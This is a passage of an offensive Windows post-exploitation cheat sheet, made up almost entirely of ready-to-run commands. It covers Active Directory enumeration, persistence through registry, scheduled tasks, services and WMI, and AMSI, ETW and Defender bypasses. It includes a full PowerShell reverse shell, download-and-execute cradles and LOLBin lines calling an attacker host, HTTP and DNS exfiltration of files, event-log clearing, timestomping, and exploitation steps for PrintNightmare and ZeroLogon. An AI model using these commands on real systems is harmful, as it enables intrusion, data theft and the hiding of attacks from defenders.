HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 894 reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 895 896 :: Exploit with MSI payload 897 msiexec /quiet /qn /i malicious.msi 898 ``` 899 900 ### Scheduled Tasks 901 902 ```powershell 903 # Find writable scheduled task binaries 904 Get-ScheduledTask | ForEach-Object { 905 $task = $_ 906 $actions = $task.Actions 907 foreach ($action in $actions) { 908 if ($action.Execute) { 909 $path = $action.Execute 910 if (Test-Path $path) { 911 $acl = Get-Acl $path 912 [PSCustomObject]@{ 913 TaskName = $task.TaskName 914 Path = $path 915 Owner = $acl.Owner 916 } 917 } 918 } 919 } 920 } 921 ``` 922 923 --- 924 925 ## 8. Active Directory Enumeration 926 927 ### PowerView Commands 928 929 ```powershell 930 # Import PowerView 931 Import-Module .\PowerView.ps1 932 . .\PowerView.ps1 933 934 # Domain info 935 Get-Domain 936 Get-DomainController 937 938 # Users 939 Get-DomainUser | Select SamAccountName,Description 940 Get-DomainUser -AdminCount | Select SamAccountName 941 Get-DomainUser -SPN | Select SamAccountName,ServicePrincipalName 942 943 # Groups 944 Get-DomainGroup | Select SamAccountName 945 Get-DomainGroupMember -Identity "Domain Admins" -Recurse 946 947 # Computers 948 Get-DomainComputer | Select DnsHostName,OperatingSystem 949 Get-DomainComputer -Unconstrained | Select DnsHostName 950 951 # GPOs 952 Get-DomainGPO | Select DisplayName,GPCFileSysPath 953 954 # ACLs 955 Find-InterestingDomainAcl -ResolveGUIDs 956 957 # Shares 958 Find-DomainShare -CheckShareAccess 959 960 # Sessions 961 Get-NetSession -ComputerName <target> 962 Get-NetLoggedOn -ComputerName <target> 963 964 # Trust relationships 965 Get-DomainTrust 966 Get-ForestTrust 967 ``` 968 969 ### BloodHound Collection 970 971 ```cmd 972 :: SharpHound - Collector 973 SharpHound.exe -c All 974 SharpHound.exe -c All,GPOLocalGroup --zipfilename bloodhound.zip 975 976 :: Stealth collection 977 SharpHound.exe -c DCOnly --stealth 978 ``` 979 980 ```powershell 981 # PowerShell collector 982 Import-Module .\SharpHound.ps1 983 Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp 984 ``` 985 986 ### LDAP Queries (Native PowerShell) 987 988 ```powershell 989 # All domain users 990 $searcher = [adsisearcher]"(&(objectClass=user)(objectCategory=person))" 991 $searcher.FindAll() | % { $_.Properties.samaccountname } 992 993 # Domain Admins members 994 $searcher = [adsisearcher]"(&(objectClass=group)(cn=Domain Admins))" 995 $searcher.FindOne().Properties.member 996 997 # Computers with unconstrained delegation 998 $searcher = [adsisearcher]"(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" 999 $searcher.FindAll() | % { $_.Properties.dnshostname } 1000 1001 # Users with SPN set (Kerberoastable) 1002 $searcher = [adsisearcher]"(&(objectClass=user)(servicePrincipalName=*))" 1003 $searcher.FindAll() | % { $_.Properties.samaccountname } 1004 1005 # Users with PreAuth disabled (AS-REP Roastable) 1006 $searcher = [adsisearcher]"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" 1007 $searcher.FindAll() | % { $_.Properties.samaccountname } 1008 ``` 1009 1010 --- 1011 1012 ## 9. Persistence Mechanisms 1013 1014 ### Registry Run Keys 1015 1016 ```cmd 1017 :: Current user persistence 1018 reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Updater /t REG_SZ /d "C:\Temp\payload.exe" /f 1019 1020 :: All users persistence (requires admin) 1021 reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Updater /t REG_SZ /d "C:\Temp\payload.exe" /f 1022 1023 :: RunOnce (executes once then deletes) 1024 reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Updater /t REG_SZ /d "C:\Temp\payload.exe" /f 1025 ``` 1026 1027 ### Scheduled Tasks 1028 1029 ```cmd 1030 :: Create scheduled task 1031 schtasks /create /tn "Updater" /tr "C:\Temp\payload.exe" /sc onlogon /ru SYSTEM 1032 1033 :: At startup 1034 schtasks /create /tn "Updater" /tr "C:\Temp\payload.exe" /sc onstart /ru SYSTEM 1035 1036 :: Every hour 1037 schtasks /create /tn "Updater" /tr "C:\Temp\payload.exe" /sc hourly /ru SYSTEM 1038 1039 :: Query tasks 1040 schtasks /query /tn "Updater" /v /fo list 1041 ``` 1042 1043 ```powershell 1044 $action = New-ScheduledTaskAction -Execute "C:\Temp\payload.exe" 1045 $trigger = New-ScheduledTaskTrigger -AtLogOn 1046 $principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest 1047 Register-ScheduledTask -TaskName "Updater" -Action $action -Trigger $trigger -Principal $principal 1048 ``` 1049 1050 ### Services 1051 1052 ```cmd 1053 :: Create malicious service 1054 sc create "Updater" binpath= "C:\Temp\payload.exe" start= auto 1055 sc start "Updater" 1056 1057 :: Modify existing service (if writable) 1058 sc config "VulnService" binpath= "C:\Temp\payload.exe" 1059 ``` 1060 1061 ### WMI Event Subscriptions 1062 1063 ```powershell 1064 # Create WMI persistence (survives reboots) 1065 $filterName = "Updater" 1066 $consumerName = "Updater" 1067 $payload = "C:\Temp\payload.exe" 1068 1069 $wmiParams = @{ 1070 Namespace = "root\subscription" 1071 ErrorAction = "Stop" 1072 } 1073 1074 $filter = Set-WmiInstance @wmiParams -Class __EventFilter -Arguments @{ 1075 Name = $filterName 1076 EventNamespace = "root\cimv2" 1077 QueryLanguage = "WQL" 1078 Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" 1079 } 1080 1081 $consumer = Set-WmiInstance @wmiParams -Class CommandLineEventConsumer -Arguments @{ 1082 Name = $consumerName 1083 CommandLineTemplate = $payload 1084 } 1085 1086 Set-WmiInstance @wmiParams -Class __FilterToConsumerBinding -Arguments @{ 1087 Filter = $filter 1088 Consumer = $consumer 1089 } 1090 ``` 1091 1092 ### Startup Folder 1093 1094 ```cmd 1095 :: Current user 1096 copy payload.exe "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\updater.exe" 1097 1098 :: All users (requires admin) 1099 copy payload.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\updater.exe" 1100 ``` 1101 1102 ### DLL Hijacking 1103 1104 ```cmd 1105 :: Common hijackable DLLs in PATH 1106 :: Check for missing DLLs with Process Monitor 1107 1108 :: Write DLL to writable PATH directory 1109 copy malicious.dll "C:\Python27\dll_name.dll" 1110 1111 :: Phantom DLL hijacking (non-existent DLLs) 1112 :: Common targets: wlbsctrl.dll, wbemcomn.dll, etc. 1113 ``` 1114 1115 --- 1116 1117 ## 10. AMSI & ETW Bypasses 1118 1119 ### AMSI Bypasses 1120 1121 ```powershell 1122 # Reflection method 1123 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) 1124 1125 # Matt Graeber's bypass 1126 [Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141) 1127 1128 # Patching AmsiScanBuffer (requires memory write) 1129 $a=[Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');ForEach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf=@(0);[Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1) 1130 ``` 1131 1132 ```cmd 1133 :: Base64 encoded bypass execution 1134 powershell -ep bypass -e <base64-encoded-bypass> 1135 1136 :: Downgrade to PowerShell 2.0 (no AMSI) 1137 powershell -version 2 -c "IEX (New-Object Net.WebClient).DownloadString('http://attacker/script.ps1')" 1138 ``` 1139 1140 ### ETW Bypass 1141 1142 ```powershell 1143 # Patch EtwEventWrite 1144 $patch = [Byte[]](0xc3) # ret instruction 1145 $ntdll = [Reflection.Assembly]::LoadWithPartialName('Microsoft.Win32.UnsafeNativeMethods').GetType('Microsoft.Win32.UnsafeNativeMethods') 1146 $etwAddr = $ntdll.GetMethod('GetProcAddress', [Reflection.BindingFlags]'NonPublic,Static', $null, [Type[]]@([IntPtr], [String]), $null).Invoke($null, @([Runtime.InteropServices.Marshal]::GetHINSTANCE([ntdll].Module), 'EtwEventWrite')) 1147 1148 $oldProtect = 0 1149 $ntdll::VirtualProtect($etwAddr, [UInt32]$patch.Length, 0x40, [Ref]$oldProtect) 1150 [Runtime.InteropServices.Marshal]::Copy($patch, 0, $etwAddr, $patch.Length) 1151 ``` 1152 1153 --- 1154 1155 ## 11. Useful One-Liners 1156 1157 ### Quick Wins 1158 1159 ```powershell 1160 # Find passwords in files 1161 Get-ChildItem -Path C:\ -Recurse -Include *.txt,*.xml,*.config,*.ini -ErrorAction SilentlyContinue | Select-String -Pattern "password|pwd|passwd" -List 1162 1163 # Find files modified in last 24 hours 1164 Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-1)} 1165 1166 # List installed software 1167 Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select DisplayName,DisplayVersion 1168 1169 # Check for stored WiFi passwords 1170 netsh wlan show profiles 1171 netsh wlan show profile name="<SSID>" key=clear 1172 1173 # List all listening ports with process 1174 Get-NetTCPConnection -State Listen | Select LocalAddress,LocalPort,@{Name="Process";Expression={(Get-Process -Id $_.OwningProcess).Name}} 1175 1176 # Find writable directories in PATH 1177 $env:PATH.Split(';') | ForEach-Object { if (Test-Path $_) { $acl = Get-Acl $_; if ($acl.AccessToString -match "Everyone|Users|Authenticated Users") { $_ } } } 1178 1179 # Quick domain enumeration 1180 [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() 1181 1182 # Check for Defender exclusions 1183 Get-MpPreference | Select-Object -ExpandProperty ExclusionPath 1184 ``` 1185 1186 ### Reverse Shell One-Liners 1187 1188 ```powershell 1189 # PowerShell reverse shell 1190 $c=New-Object Net.Sockets.TCPClient('<attacker>',<port>);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+"PS "+(pwd).Path+"> ";$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close() 1191 1192 # Encoded execution 1193 powershell -ep bypass -e <base64-encoded-payload> 1194 1195 # Download cradle 1196 powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/shell.ps1')" 1197 ``` 1198 1199 --- 1200 1201 ## 12. Pivoting & Port Forwarding 1202 1203 ### Native Windows Port Forwarding (netsh) 1204 1205 ```cmd 1206 :: Add port forward (requires admin) 1207 netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=192.168.1.10 1208 1209 :: List all port forwards 1210 netsh interface portproxy show all 1211 1212 :: Remove port forward 1213 netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0 1214 1215 :: Reset all port forwards 1216 netsh interface portproxy reset 1217 ``` 1218 1219 ### SSH Tunneling (Windows 10+) 1220 1221 ```cmd 1222 :: Local port forward (access remote:3389 via localhost:13389) 1223 ssh -L 13389:192.168.1.10:3389 user@jumphost 1224 1225 :: Remote port forward (expose local:445 on remote:8445) 1226 ssh -R 8445:127.0.0.1:445 user@attacker-server 1227 1228 :: Dynamic SOCKS proxy 1229 ssh -D 9050 user@jumphost 1230 1231 :: Background tunnel 1232 ssh -f -N -L 13389:192.168.1.10:3389 user@jumphost 1233 ``` 1234 1235 ### Chisel 1236 1237 ```cmd 1238 :: Attacker (server) 1239 chisel server -p 8080 --reverse 1240 1241 :: Victim - Reverse SOCKS proxy 1242 chisel client <attacker>:8080 R:socks 1243 1244 :: Victim - Forward specific port 1245 chisel client <attacker>:8080 R:3389:192.168.1.10:3389 1246 1247 :: Victim - Multiple forwards 1248 chisel client <attacker>:8080 R:3389:192.168.1.10:3389 R:445:192.168.1.10:445 1249 ``` 1250 1251 ### Ligolo-ng 1252 1253 ```cmd 1254 :: Attacker - Start proxy server 1255 ligolo-proxy -selfcert 1256 1257 :: Victim - Connect agent 1258 ligolo-agent -connect <attacker>:11601 -ignore-cert 1259 1260 :: In proxy interface: 1261 :: session - select agent 1262 :: ifconfig - view routes 1263 :: start - start tunnel 1264 1265 :: Add route on attacker 1266 sudo ip route add 192.168.1.0/24 dev ligolo 1267 ``` 1268 1269 ### Plink (PuTTY CLI) 1270 1271 ```cmd 1272 :: Local port forward 1273 plink.exe -ssh -L 13389:192.168.1.10:3389 user@jumphost -pw <password> 1274 1275 :: Remote port forward 1276 plink.exe -ssh -R 8445:127.0.0.1:445 user@attacker -pw <password> 1277 1278 :: Dynamic SOCKS proxy 1279 plink.exe -ssh -D 9050 user@jumphost -pw <password> 1280 1281 :: Non-interactive (accept host key) 1282 echo y | plink.exe -ssh -L 13389:192.168.1.10:3389 user@jumphost -pw <password> 1283 ``` 1284 1285 ### SOCKS Proxy Usage 1286 1287 ```cmd 1288 :: Proxychains (Linux attacker) 1289 proxychains nmap -sT -Pn 192.168.1.10 1290 proxychains impacket-psexec domain/user:pass@192.168.1.10 1291 1292 :: Windows - Configure system proxy 1293 netsh winhttp set proxy proxy-server="socks=127.0.0.1:9050" bypass-list="*.local" 1294 1295 :: Reset proxy 1296 netsh winhttp reset proxy 1297 ``` 1298 1299 ### Meterpreter Pivoting 1300 1301 ```bash 1302 # Add route through session 1303 meterpreter > run autoroute -s 192.168.1.0/24 1304 1305 # Port forward 1306 meterpreter > portfwd add -l 3389 -p 3389 -r 192.168.1.10 1307 1308 # SOCKS proxy 1309 msf > use auxiliary/server/socks_proxy 1310 msf > set SRVPORT 9050 1311 msf > run 1312 ``` 1313 1314 --- 1315 1316 ## 13. Living off the Land Binaries (LOLBins) 1317 1318 ### Execution 1319 1320 | Binary | Command | Description | 1321 |---|---|---| 1322 | `mshta` | `mshta http://<attacker>/payload.hta` | Execute HTA file | 1323 | `mshta` | `mshta vbscript:Execute("...")` | Execute VBScript | 1324 | `rundll32` | `rundll32 javascript:"\..\mshtml,RunHTMLApplication";document.write('<script src=http://attacker/payload.js></script>')` | Execute JS | 1325 | `regsvr32` | `regsvr32 /s /n /u /i:http://<attacker>/file.sct scrobj.dll` | Execute SCT file | 1326 | `certutil` | `certutil -urlcache -split -f http://<attacker>/payload.exe C:\Temp\payload.exe && C:\Temp\payload.exe` | Download & execute | 1327 | `cscript/wscript` | `cscript //nologo C:\Temp\payload.vbs` | Execute VBS/JS | 1328 | `msiexec` | `msiexec /q /i http://<attacker>/payload.msi` | Install remote MSI | 1329 | `forfiles` | `forfiles /p C:\Windows\System32 /m notepad.exe /c "C:\Temp\payload.exe"` | Execute via forfiles | 1330 | `pcalua` | `pcalua -a C:\Temp\payload.exe` | Program Compatibility Assistant | 1331 1332 ### Download 1333 1334 ```cmd 1335 :: Certutil 1336 certutil -urlcache -split -f http://<attacker>/file.exe C:\Temp\file.exe 1337 1338 :: Bitsadmin 1339 bitsadmin /transfer job /download /priority high http://<attacker>/file.exe C:\Temp\file.exe 1340 1341 :: Expand 1342 expand \\<attacker>\share\file.zip C:\Temp\file.exe 1343 1344 :: Esentutl 1345 esentutl.exe /y \\<attacker>\share\file.exe /d C:\Temp\file.exe /o 1346 1347 :: Findstr (read SMB) 1348 findstr /V "randomstring" \\<attacker>\share\file.exe > C:\Temp\file.exe 1349 1350 :: Desktopimgdownldr 1351 set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:http://<attacker>/file.exe /eventName:desktopimgdownldr 1352 ``` 1353 1354 ### Execution via DLL Side-Loading 1355 1356 ```cmd 1357 :: Rundll32 with export function 1358 rundll32.exe payload.dll,DllMain 1359 rundll32.exe payload.dll,#1 1360 1361 :: Regsvr32 1362 regsvr32 /s payload.dll 1363 1364 :: Control panel execution 1365 control.exe payload.dll 1366 1367 :: MSIExec DLL 1368 msiexec /y payload.dll 1369 ``` 1370 1371 ### Bypass AppLocker / Application Whitelisting 1372 1373 ```cmd 1374 :: MSBuild 1375 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.xml 1376 1377 :: InstallUtil 1378 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe 1379 1380 :: RegAsm 1381 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe /U payload.dll 1382 1383 :: RegSvcs 1384 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe payload.dll 1385 1386 :: CMSTP 1387 cmstp.exe /ni /s payload.inf 1388 1389 :: Msdeploy 1390 msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand="C:\Temp\payload.exe" 1391 ``` 1392 1393 ### Compilation on Target 1394 1395 ```cmd 1396 :: C# compilation with csc.exe 1397 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:payload.exe payload.cs 1398 1399 :: VBC compilation 1400 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe /out:payload.exe payload.vb 1401 1402 :: JScript compilation 1403 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\jsc.exe payload.js 1404 ``` 1405 1406 --- 1407 1408 ## 14. Constrained Language Mode Bypass 1409 1410 ### Detection 1411 1412 ```powershell 1413 # Check current language mode 1414 $ExecutionContext.SessionState.LanguageMode 1415 1416 # Constrained = ConstrainedLanguage 1417 # Full = FullLanguage 1418 ``` 1419 1420 ### Bypass Techniques 1421 1422 ```powershell 1423 # PowerShell v2 downgrade (if available, no CLM) 1424 powershell -version 2 1425 1426 # PSByPassCLM (inject into unmanaged runspace) 1427 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PSBypassCLM.exe 1428 1429 # Custom runspace via C# 1430 # Compile and execute C# that creates unrestricted runspace 1431 ``` 1432 1433 ```cmd 1434 :: Via MSBuild (inline C# task) 1435 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe bypass.xml 1436 1437 :: bypass.xml content allows full PowerShell execution 1438 ``` 1439 1440 ### PowerShell without PowerShell.exe 1441 1442 ```cmd 1443 :: SyncAppvPublishingServer 1444 SyncAppvPublishingServer.exe "n; IEX (New-Object Net.WebClient).DownloadString('http://attacker/script.ps1')" 1445 1446 :: Via rundll32 1447 rundll32.exe PowerShdll.dll,main 1448 1449 :: PowerLessShell (MSBuild-based) 1450 MSBuild.exe PowerLessShell.xml 1451 1452 :: NoPowerShell (C# implementation) 1453 NoPowerShell.exe Get-Process 1454 ``` 1455 1456 --- 1457 1458 ## 15. Windows Defender Evasion 1459 1460 ### Exclusion Abuse 1461 1462 ```powershell 1463 # Add exclusions (requires admin) 1464 Add-MpPreference -ExclusionPath "C:\Temp" 1465 Add-MpPreference -ExclusionProcess "payload.exe" 1466 Add-MpPreference -ExclusionExtension ".ps1" 1467 1468 # View current exclusions 1469 Get-MpPreference | Select Exclusion* 1470 1471 # Common pre-existing exclusions to check 1472 Get-MpPreference | Select ExclusionPath,ExclusionProcess,ExclusionExtension 1473 ``` 1474 1475 ### Disable Protections (Requires Admin) 1476 1477 ```powershell 1478 # Disable real-time monitoring 1479 Set-MpPreference -DisableRealtimeMonitoring $true 1480 1481 # Disable IOAV (scanning downloaded files) 1482 Set-MpPreference -DisableIOAVProtection $true 1483 1484 # Disable behavior monitoring 1485 Set-MpPreference -DisableBehaviorMonitoring $true 1486 1487 # Disable script scanning 1488 Set-MpPreference -DisableScriptScanning $true 1489 1490 # Disable all via registry 1491 Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 1492 1493 # Disable via GPO registry 1494 reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f 1495 ``` 1496 1497 ### Payload Obfuscation 1498 1499 ```powershell 1500 # String obfuscation 1501 $a = "Invoke" 1502 $b = "-Mimikatz" 1503 & ($a + $b) 1504 1505 # Character array 1506 $cmd = [char[]]@(73,69,88) -join '' # IEX 1507 1508 # Base64 + compression 1509 $code = [Convert]::ToBase64String([IO.Compression.DeflateStream]::new([IO.MemoryStream][Convert]::FromBase64String($compressed), [IO.Compression.CompressionMode]::Decompress).ToArray()) 1510 1511 # Invoke-Obfuscation techniques 1512 # Token obfuscation 1513 & (("IEX" -split '' | %{[char][int]$_}) -join '') 1514 1515 # String reversal 1516 $reversed = ")'x]1[tnemnorvinE:vne$teleD'(xeI" 1517 IEX ($reversed[-1..-($reversed.Length)] -join '') 1518 ``` 1519 1520 ### In-Memory Execution 1521 1522 ```powershell 1523 # .NET assembly in memory 1524 $bytes = (New-Object Net.WebClient).DownloadData("http://attacker/payload.exe") 1525 $assembly = [Reflection.Assembly]::Load($bytes) 1526 $assembly.EntryPoint.Invoke($null, @(,[string[]]@())) 1527 1528 # PowerShell script in memory 1529 IEX (New-Object Net.WebClient).DownloadString("http://attacker/script.ps1") 1530 1531 # Reflective DLL injection 1532 $bytes = (New-Object Net.WebClient).DownloadData("http://attacker/payload.dll") 1533 Invoke-ReflectivePEInjection -PEBytes $bytes 1534 ``` 1535 1536 --- 1537 1538 ## 16. Data Exfiltration 1539 1540 ### File Compression 1541 1542 ```cmd 1543 :: Zip using PowerShell 1544 powershell Compress-Archive -Path C:\Data -DestinationPath C:\Temp\data.zip 1545 1546 :: Zip with password (7zip) 1547 7z.exe a -pPassword123 C:\Temp\data.7z C:\Data\* 1548 1549 :: Makecab (native compression) 1550 makecab C:\Data\secret.txt C:\Temp\secret.cab 1551 ``` 1552 1553 ```powershell 1554 # Compress folder 1555 Compress-Archive -Path "C:\Sensitive" -DestinationPath "C:\Temp\exfil.zip" 1556 1557 # Compress specific files 1558 Compress-Archive -Path "C:\Data\*.docx","C:\Data\*.xlsx" -DestinationPath "C:\Temp\docs.zip" 1559 ``` 1560 1561 ### Exfiltration Channels 1562 1563 ```powershell 1564 # HTTP POST 1565 $data = Get-Content C:\Temp\data.zip -Encoding Byte 1566 Invoke-WebRequest -Uri "http://attacker/upload" -Method POST -Body $data 1567 1568 # Base64 via HTTP 1569 $b64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\data.zip")) 1570 Invoke-WebRequest -Uri "http://attacker/exfil?data=$b64" -Method GET 1571 1572 # DNS exfiltration (slow, stealthy) 1573 $data = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\data.txt")) 1574 $chunks = $data -split '(.{63})' | Where-Object { $_ } 1575 foreach ($chunk in $chunks) { 1576 Resolve-DnsName "$chunk.attacker.com" -Type TXT -ErrorAction SilentlyContinue 1577 } 1578 ``` 1579 1580 ```cmd 1581 :: SMB to attacker share 1582 copy C:\Temp\data.zip \\<attacker>\share\data.zip 1583 1584 :: FTP upload 1585 echo open <attacker> > ftp.txt 1586 echo user anonymous >> ftp.txt 1587 echo pass anonymous >> ftp.txt 1588 echo binary >> ftp.txt 1589 echo put C:\Temp\data.zip >> ftp.txt 1590 echo quit >> ftp.txt 1591 ftp -s:ftp.txt 1592 1593 :: TFTP (if enabled) 1594 tftp -i <attacker> PUT C:\Temp\data.zip 1595 1596 :: Certutil encode + copy 1597 certutil -encode C:\Temp\data.zip C:\Temp\data.b64 1598 type C:\Temp\data.b64 | clip 1599 ``` 1600 1601 ### Cloud Storage 1602 1603 ```powershell 1604 # Upload to Azure Blob 1605 $context = New-AzStorageContext -StorageAccountName "account" -StorageAccountKey "key" 1606 Set-AzStorageBlobContent -File "C:\Temp\data.zip" -Container "exfil" -Blob "data.zip" -Context $context 1607 1608 # AWS S3 (if CLI available) 1609 aws s3 cp C:\Temp\data.zip s3://bucket/data.zip 1610 ``` 1611 1612 --- 1613 1614 ## 17. Cleanup & Anti-Forensics 1615 1616 ### Event Log Clearing 1617 1618 ```cmd 1619 :: Clear all logs (requires admin) 1620 wevtutil cl System 1621 wevtutil cl Security 1622 wevtutil cl Application 1623 wevtutil cl "Windows PowerShell" 1624 wevtutil cl "Microsoft-Windows-PowerShell/Operational" 1625 1626 :: Clear via PowerShell 1627 for /F "tokens=*" %a in ('wevtutil el') DO wevtutil cl "%a" 1628 ``` 1629 1630 ```powershell 1631 # Clear all event logs 1632 Get-EventLog -LogName * | ForEach-Object { Clear-EventLog -LogName $_.Log } 1633 1634 # Clear specific logs 1635 Clear-EventLog -LogName Security,System,Application 1636 1637 # Wevtutil PowerShell 1638 wevtutil el | Foreach-Object { wevtutil cl "$_" } 1639 ``` 1640 1641 ### Timestomping 1642 1643 ```powershell 1644 # Modify timestamps 1645 $file = Get-Item C:\Temp\payload.exe 1646 $date = Get-Date "01/01/2020 12:00:00" 1647 $file.CreationTime = $date 1648 $file.LastWriteTime = $date 1649 $file.LastAccessTime = $date 1650 1651 # Copy timestamps from another file 1652 $source = Get-Item C:\Windows\System32\notepad.exe 1653 $target = Get-Item C:\Temp\payload.exe 1654 $target.CreationTime = $source.CreationTime 1655 $target.LastWriteTime = $source.LastWriteTime 1656 $target.LastAccessTime = $source.LastAccessTime 1657 ``` 1658 1659 ### File Deletion 1660 1661 ```cmd 1662 :: Secure delete (overwrite) 1663 cipher /w:C:\Temp 1664 1665 :: Delete with SDelete (Sysinternals) 1666 sdelete.exe -p 3 C:\Temp\payload.exe 1667 1668 :: PowerShell removal 1669 Remove-Item C:\Temp\payload.exe -Force 1670 1671 :: Delete alternate data streams 1672 dir /r C:\Temp 1673 more < C:\Temp\file.txt:hidden 1674 powershell -c "Remove-Item C:\Temp\file.txt -Stream hidden" 1675 ``` 1676 1677 ### Registry Cleanup 1678 1679 ```cmd 1680 :: Remove Run key persistence 1681 reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Updater /f 1682 1683 :: Remove service 1684 sc delete "MaliciousService" 1685 1686 :: Clear PowerShell history 1687 del %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 1688 ``` 1689 1690 ```powershell 1691 # Clear PowerShell history 1692 Remove-Item (Get-PSReadLineOption).HistorySavePath 1693 1694 # Clear recent files 1695 Remove-Item "$env:APPDATA\Microsoft\Windows\Recent\*" -Force 1696 1697 # Clear temp files 1698 Remove-Item "$env:TEMP\*" -Recurse -Force -ErrorAction SilentlyContinue 1699 ``` 1700 1701 ### Disable Logging 1702 1703 ```powershell 1704 # Disable PowerShell Script Block Logging 1705 Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name EnableScriptBlockLogging -Value 0 1706 1707 # Disable Module Logging 1708 Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name EnableModuleLogging -Value 0 1709 1710 # Disable Transcription 1711 Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -Name EnableTranscripting -Value 0 1712 ``` 1713 1714 --- 1715 1716 ## 18. Common CVE Exploits 1717 1718 ### PrintNightmare (CVE-2021-34527) 1719 1720 ```powershell 1721 # Check if vulnerable 1722 Get-Service -Name Spooler 1723 1724 # CVE-2021-1675 / CVE-2021-34527 1725 # Requires: Print Spooler running, attacker hosts malicious DLL 1726 1727 # Remote exploitation 1728 Import-Module .\CVE-2021-1675.ps1 1729 Invoke-Nightmare -DriverName "Xerox" -NewUser "hacker" -NewPassword "Password123!" 1730 1731 # SharpPrintNightmare 1732 SharpPrintNightmare.exe C:\Temp\payload.dll 1733 SharpPrintNightmare.exe \\<attacker>\share\payload.dll \\<target> 1734 ``` 1735 1736 ### ZeroLogon (CVE-2020-1472) 1737 1738 ```bash 1739 # Test vulnerability 1740 impacket-zerologon <dc-name> <dc-ip> 1741 1742 # Exploit (sets DC password to empty) 1743 impacket-zerologon <dc-name> <dc-ip> -exploit 1744 1745 # Dump hashes with empty password 1746 impacket-secretsdump -no-pass -just-dc <domain>/<dc-name>\$@<dc-ip> 1747 1748 # Restore DC password 1749 impacket-restorepassword <domain>/<dc-name>@<dc-name> -target-ip <dc-ip> -hexpass <original-hex> 1750 ``` 1751 1752 ### PetitPotam (CVE-2021-36942) 1753 1754 ```bash 1755 # Coerce authentication from DC to attacker 1756 python3 PetitPotam.py <attacker-ip> <dc-ip> 1757 1758 # Capture with Responder or ntlmrelayx 1759 ntlmrelayx.py -t ldaps://<dc-ip> --delegate-access 1760 1761 # Combine with ADCS relay (ESC8) 1762 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController 1763 ``` 1764 1765 ### HiveNightmare/SeriousSAM (CVE-2021-36934) 1766 1767 ```cmd 1768 :: Check if vulnerable (VSS enabled + accessible SAM) 1769 icacls C:\Windows\System32\config\SAM 1770 1771 :: If readable by BUILTIN\Users, system is vulnerable 1772 :: Copy from shadow copy 1773 vssadmin list shadows 1774 1775 :: Extract from shadow 1776 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM 1777 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM 1778 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY 